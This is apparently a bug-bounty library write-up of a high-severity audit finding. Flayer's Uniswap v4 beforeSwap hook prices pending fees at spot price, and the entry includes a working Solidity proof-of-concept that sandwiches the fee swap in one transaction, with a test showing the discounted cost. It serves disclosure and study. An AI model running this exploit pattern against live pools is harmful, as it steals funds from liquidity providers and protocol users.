# ````UniswapImplementation.beforeSwap()```` is  vulnerable to price manipulation attack

Flayer's beforeSwap hook prices pending collectionToken fees at spot price, letting attackers sandwich the fee swap to buy tokens at a discount.

- Payout: Audit contest
- Severity: high
- Program: Flayer
- Found by: AuditorPraise
- Disclosed: 2024-08-06
- Write-up quality: 8/10
- Original: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/559
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-08-flayer%3AH-17
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:chained technique:source-review vuln:business-logic vuln:oracle-manipulation

**Target:** UniswapImplementation.beforeSwap hook (Uniswap v4 pool)
**Root cause:** beforeSwap reads current sqrtPriceX96 from poolManager.getSlot0 and uses it in SwapMath.computeSwapStep to price the pending collectionToken fee swap, instead of a TWAP or immediate conversion at fee receipt.
**Steps:**
1. Deposit some collectionToken fees so pendingPoolFees.amount1 != 0
2. In one unlock callback: sell 10 ether collectionToken (zeroForOne=false) to push price down
3. Execute the victim-style swap WETH->collectionToken (zeroForOne=true, exact output 1 ether) which triggers beforeSwap fee swap at the depressed spot price
4. Buy back 10 ether collectionToken (zeroForOne=true, exact input 10 ether) to restore price
5. Settle/take deltas; observe cost drops from ~1.11 ETH to ~0.41 ETH for 1 ether of collectionToken
**How found:** Code review of beforeSwap noticed the fee swap uses poolManager.getSlot0 spot price rather than TWAP; recognized Uniswap v4 delta accounting allows cheap spot manipulation without flash loans, then built a PoC comparing normal vs attack cost.
**Exploitation:** Attacker sandwiches the hook's fee conversion within a single transaction: dump collectionToken to lower spot price, trigger a swap whose beforeSwap converts pending fees at the manipulated price, then buy back to restore price, capturing the discount risk-free.
**Insight:** Any hook that converts accumulated fees using the pool's instantaneous slot0 price is sandwichable within one tx; check fee-conversion paths in v4 hooks for spot-price dependence and test with a dump/swap/rebuy sequence.

## Proof of concept (copied exactly from the original report)

**AttackHelper contract performing 3-step price manipulation**

```
contract AttackHelper is IUnlockCallback {
    using StateLibrary for IPoolManager;
    using TransientStateLibrary for IPoolManager;
    using CurrencySettler for Currency;

    IPoolManager public immutable manager;
    PoolKey public  poolKey;

    struct CallbackData {
        address sender;
        IPoolManager.SwapParams params;
    }

    constructor(IPoolManager _manager, PoolKey memory _poolKey) {
        manager = _manager;
        poolKey = _poolKey;
    }

    function swap(
        IPoolManager.SwapParams memory params
    ) external {
        manager.unlock(abi.encode(CallbackData(msg.sender, params)));
    }

    function unlockCallback(bytes calldata rawData) external returns (bytes memory) {
        CallbackData memory data = abi.decode(rawData, (CallbackData));

        // 1. Sell some collectionTokens to decrease price
        IPoolManager.SwapParams memory sellParam = IPoolManager.SwapParams({
            zeroForOne: false, // unflippedToken -> WETH
            amountSpecified: -10 ether, // exact input
            sqrtPriceLimitX96: TickMath.MAX_SQRT_PRICE - 1
        });
        manager.swap(poolKey, sellParam, "");

        // 2. Swap with pool fee at a discount price
        manager.swap(poolKey, data.params, "");

        // 3. Buy exact collectionTokens of step1 to increase price back
        IPoolManager.SwapParams memory buyParam = IPoolManager.SwapParams({
            zeroForOne: true, // WETH -> unflippedToken
            amountSpecified: 10 ether, // exact input
            sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
        });
        manager.swap(poolKey, buyParam, "");

        int256 delta0 = manager.currencyDelta(address(this), poolKey.currency0);
        int256 delta1 = manager.currencyDelta(address(this), poolKey.currency1);

        if (delta0 < 0) {
            poolKey.currency0.settle(manager, data.sender, uint256(-delta0), false);
        }
        if (delta1 < 0) {
            poolKey.currency1.settle(manager, data.sender, uint256(-delta1), false);
        }
        if (delta0 > 0) {
            poolKey.currency0.take(manager, data.sender, uint256(delta0), false);
        }
        if (delta1 > 0) {
            poolKey.currency1.take(manager, data.sender, uint256(delta1), false);
        }
        return abi.encode("");
    }
}
```

**Attack test showing discounted swap cost**

```
function testAttackCase() public {
        address alice = users[0];
        _dealNativeToken(alice, 10 ether);
        _approveNativeToken(alice, address(attackHelper), type(uint).max);

        uint wethBefore = WETH.balanceOf(alice);
        assertEq(10 ether, wethBefore);
        uint unflippedTokenBefore = unflippedToken.balanceOf(alice);
        assertEq(0, unflippedTokenBefore);

        vm.startPrank(alice);
        attackHelper.swap(
            IPoolManager.SwapParams({
                zeroForOne: true, // WETH -> unflippedToken
                amountSpecified: 1 ether, // exact output
                sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
            })
        );
        vm.stopPrank();

        // swap 1 ether collectionToken with 0.41 ether WETH
        uint wethAfter = WETH.balanceOf(alice);
        uint unflippedTokenAfter = unflippedToken.balanceOf(alice);
        uint wethCost = wethBefore - wethAfter;
        assertApproxEqAbs(0.41 ether, wethCost, 0.01 ether);
        uint unflippedTokenReceived = unflippedTokenAfter - unflippedTokenBefore;
        assertEq(1 ether, unflippedTokenReceived);
    }
```

